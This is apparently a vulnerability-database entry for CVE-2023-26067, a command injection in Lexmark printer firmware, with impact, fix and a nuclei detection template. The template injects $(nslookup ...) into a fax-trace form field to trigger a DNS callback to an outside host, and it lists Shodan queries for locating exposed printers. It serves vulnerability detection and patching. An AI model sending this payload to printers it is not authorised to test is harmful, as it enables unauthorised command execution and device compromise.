HexBrain

Browse / CVEs / CVE-2023-26067

CVE-2023-26067· lexmark / cxtpc firmware· CWE-20

Lexmark Printers - Command Injection

highseverity
8.1CVSS score
37.8%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Certain Lexmark devices through 2023-02-19 mishandle Input Validation (issue 1 of 4).

Impact

Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, and potential compromise of the affected device.

Fix

Apply the latest firmware update provided by Lexmark to mitigate the command injection vulnerability.

How to confirm it

Send: POST /cgi-bin/fax_change_faxtrace_settings
Positive when: contains(interactsh_protocol, 'dns') and contains(body, 'Fax Trace Settings') and status_code == 200

Run it with nuclei: nuclei -id CVE-2023-26067 -u <target>

The full check
id: CVE-2023-26067

info:
  name: Lexmark Printers - Command Injection
  author: DhiyaneshDK
  severity: high
  description: |
    Certain Lexmark devices through 2023-02-19 mishandle Input Validation (issue 1 of 4).
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, and potential compromise of the affected device.
  remediation: |
    Apply the latest firmware update provided by Lexmark to mitigate the command injection vulnerability.
  reference:
    - https://www.horizon3.ai/lexmark-command-injection-vulnerability-zdi-can-19470-pwn2own-toronto-2022/
    - https://github.com/horizon3ai/CVE-2023-26067
    - https://nvd.nist.gov/vuln/detail/CVE-2023-26067
    - https://publications.lexmark.com/publications/security-alerts/CVE-2023-26067.pdf
    - https://support.lexmark.com/alerts/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2023-26067
    cwe-id: CWE-20
    epss-score: 0.37835
    epss-percentile: 0.98557
    cpe: cpe:2.3:o:lexmark:cxtpc_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: lexmark
    product: cxtpc_firmware
    shodan-query:
      - "Server: Lexmark_Web_Server"
      - "server: lexmark_web_server"
  tags: cve2023,cve,printer,iot,lexmark,vkev,intrusive,vuln
variables:
  cmd: 'nslookup {{interactsh-url}}'

http:
  - raw:
      - |
        POST /cgi-bin/fax_change_faxtrace_settings HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Content-Length: 49

        FT_Custom_lbtrace=$({{cmd}})

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, 'dns')
          - contains(body, 'Fax Trace Settings')
          - status_code == 200
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from